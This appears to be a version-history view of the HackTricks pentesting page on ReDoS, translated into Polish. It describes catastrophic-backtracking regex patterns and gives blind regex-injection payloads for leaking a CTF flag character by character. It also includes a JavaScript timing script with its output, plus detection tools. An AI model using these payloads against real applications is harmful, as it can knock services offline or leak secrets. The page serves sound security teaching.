hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
6.7 KiB
Markdown
Raw Normal View History

2022-06-28 21:57:30 +00:00
# Regular expression Denial of Service - ReDoS
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-03 16:02:14 +00:00
# Regular Expression Denial of Service (ReDoS)
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
**Regular Expression Denial of Service (ReDoS)** występuje, gdy ktoś wykorzystuje słabości w działaniu wyrażeń regularnych (sposobu wyszukiwania i dopasowywania wzorców w tekście). Czasami, gdy używane są wyrażenia regularne, mogą stać się bardzo wolne, zwłaszcza jeśli fragment tekstu, z którym pracują, staje się większy. Ta wolność może być tak duża, że rośnie bardzo szybko nawet przy niewielkim zwiększeniu rozmiaru tekstu. Atakujący mogą wykorzystać ten problem, aby sprawić, że program korzystający z wyrażeń regularnych przestanie działać poprawnie przez długi czas.
2024-02-06 03:10:38 +00:00
2021-01-26 13:53:03 +00:00
2024-02-11 01:46:25 +00:00
## Problematyczny algorytm naiwny dla wyrażeń regularnych
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
**Sprawdź szczegóły na stronie [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
## Złośliwe wyrażenia regularne <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
Złośliwy wzorzec wyrażenia regularnego to taki, który może **utknąć na spreparowanym wejściu, powodując DoS**. Złośliwe wzorce wyrażeń regularnych zwykle zawierają grupowanie z powtórzeniem oraz powtórzenie lub alternację z zachodzeniem na siebie wewnątrz powtarzanej grupy. Przykłady złośliwych wzorców to:
2021-01-26 13:51:43 +00:00
2024-02-03 16:02:14 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
2024-02-11 01:46:25 +00:00
* (.*a){x} dla x > 10
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
Wszystkie te wzorce są podatne na wejście `aaaaaaaaaaaaaaaaaaaaaaaa!`.
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
## Payloady ReDoS
2022-04-05 22:13:36 +00:00
2024-02-11 01:46:25 +00:00
### Wyciek ciągu znaków za pomocą ReDoS
2022-04-05 22:13:36 +00:00
2024-02-11 01:46:25 +00:00
W CTF (lub bug bounty) być może **masz kontrolę nad wyrażeniem regularnym, z którym dopasowane jest wrażliwe informacje (flaga)**. W takim przypadku może być przydatne **zatrzymanie strony (przekroczenie czasu lub dłuższy czas przetwarzania)**, jeśli **wyrażenie regularne zostanie dopasowane**, a **nie jeśli nie zostanie**. W ten sposób będziesz mógł **wyciekać** ciąg znaków **po jednym znaku**:
2022-04-05 22:13:36 +00:00
2024-02-11 01:46:25 +00:00
* W [**tym poście**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) znajdziesz tę regułę ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Przykład: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* W [**tym rozwiązaniu**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) znajdziesz to: `<flag>(((((((.*)*)*)*)*)*)*)!`
* W [**tym rozwiązaniu**](https://ctftime.org/writeup/25869) użył: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
2024-02-11 01:46:25 +00:00
### Kontrolowanie wejścia i wyrażenia regularnego w ReDoS
2021-01-26 13:51:43 +00:00
2024-02-11 01:46:25 +00:00
Poniżej znajdują się przykłady **ReDoS**, w których **kontrolujesz zarówno wejście**, jak i **wyrażenie regularne**:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2024-02-11 01:46:25 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2024-02-11 01:46:25 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2024-02-11 01:46:25 +00:00
## Narzędzia
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Odwołania
2024-02-03 16:02:14 +00:00
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2024-02-03 16:02:14 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>